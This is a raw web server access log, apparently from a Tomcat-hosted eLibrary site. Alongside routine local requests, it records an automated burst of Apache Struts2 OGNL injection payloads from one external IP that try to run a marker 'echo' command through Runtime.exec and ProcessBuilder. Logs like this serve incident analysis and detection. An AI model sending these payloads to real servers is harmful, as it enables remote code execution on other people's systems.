127.0.0.1 - - [30/Dec/2023:00:07:47 -0500] "GET /conf/Catalina/localhost/?C=S;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:00:14:36 -0500] "GET /logs/catalina.2018-11-25.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:00:14:39 -0500] "GET /logs/catalina.2019-08-19.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:00:19:53 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:00:19:53 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:00:19:54 -0500] "GET /css/new-style.css HTTP/1.1" 200 5564 127.0.0.1 - - [30/Dec/2023:00:19:54 -0500] "GET /images/CSG%20elibrary%20Logo.png HTTP/1.1" 404 990 127.0.0.1 - - [30/Dec/2023:00:19:54 -0500] "GET /images/Pocket_textbooks_LOGO.png HTTP/1.1" 200 69538 127.0.0.1 - - [30/Dec/2023:00:19:54 -0500] "GET /images/eLibrary%20Pro%20Logo%20-%20Powered%20by%203.png HTTP/1.1" 200 213908 127.0.0.1 - - [30/Dec/2023:00:19:54 -0500] "GET /images/bg.png HTTP/1.1" 200 166566 127.0.0.1 - - [30/Dec/2023:00:19:54 -0500] "GET /fonts/opensans-regular-webfont.woff2 HTTP/1.1" 404 990 127.0.0.1 - - [30/Dec/2023:00:19:54 -0500] "GET /fonts/opensans-regular-webfont.woff HTTP/1.1" 404 990 127.0.0.1 - - [30/Dec/2023:00:19:55 -0500] "GET /fonts/opensans-regular-webfont.ttf HTTP/1.1" 404 990 127.0.0.1 - - [30/Dec/2023:00:34:56 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:00:34:56 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:00:38:32 -0500] "GET /webapps/examples/jsp/jsp2/el/composite.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:00:41:16 -0500] "GET /logs/localhost_access_log..2022-09-12.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:00:41:20 -0500] "GET /logs/localhost_access_log..2022-10-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:00:42:26 -0500] "GET /logs/localhost_access_log..2022-03-17.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:00:46:18 -0500] "GET /conf/Catalina/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:01:00:02 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:02 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:03 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:04 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:04 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:05 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:05 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:06 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:06 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:07 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:07 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:08 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:08 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:09 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:09 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:10 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:10 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:11 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:11 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:12 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:12 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:13 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:13 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:14 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:14 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:15 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:00:15 -0500] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [30/Dec/2023:01:00:16 -0500] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [30/Dec/2023:01:05:17 -0500] "GET /logs/catalina.2019-04-18.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:01:05:20 -0500] "GET /logs/catalina.2019-11-05.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:01:30:54 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:01:30:54 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:01:37:49 -0500] "GET /logs/localhost_access_log..2022-06-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:01:37:54 -0500] "GET /logs/localhost_access_log..2022-10-30.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:01:55:28 -0500] "GET /webapps/examples/jsp/jsp2/tagfiles/home HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:01:55:28 -0500] "GET /webapps/examples/jsp/jsp2/tagfiles/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:01:55:29 -0500] "GET /webapps/examples/jsp/jsp2/tagfiles/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:01:55:29 -0500] "GET /webapps/examples/jsp/jsp2/tagfiles/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:02:04:59 -0500] "GET /work/Catalina/localhost/1/?C=N;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:02:17:20 -0500] "GET /logs/localhost_access_log..2023-06-30.txt HTTP/1.1" 200 2145 208.87.206.42 - - [30/Dec/2023:02:23:48 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:48 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:48 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:48 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:49 -0500] "GET /?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:49 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:49 -0500] "GET /?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:49 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:50 -0500] "GET /?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:50 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:50 -0500] "GET /?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:50 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:51 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:51 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:51 -0500] "GET //devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:52 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:52 -0500] "GET //devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:53 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:53 -0500] "GET /&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:53 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:53 -0500] "GET /&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:54 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:54 -0500] "GET /%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:55 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:55 -0500] "GET /%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:55 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:56 -0500] "GET /?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:56 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:56 -0500] "GET /?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:56 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:57 -0500] "GET /%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:57 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:57 -0500] "GET /%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:57 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:58 -0500] "GET /?redirect%3A%24%7B8396256%2B1767317%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:58 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:58 -0500] "GET /?redirect%3A%24%7B8396256%2B1767317%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:58 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:59 -0500] "GET /?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:59 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:23:59 -0500] "GET /?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:23:59 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:00 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:00 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:00 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:00 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:01 -0500] "GET /?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:01 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:01 -0500] "GET /?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:02 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:02 -0500] "GET /%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:02 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:03 -0500] "GET /%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:03 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:03 -0500] "GET /(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:03 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:04 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:04 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:04 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:06 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:08 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:08 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:09 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:09 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:10 -0500] "POST / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:10 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:10 -0500] "GET /?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:10 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:11 -0500] "GET /%24%7B1909608%2B7805521%7D/index.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:11 -0500] "GET / HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:11 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:11 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:12 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:12 -0500] "GET /forgotPasswordLink?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%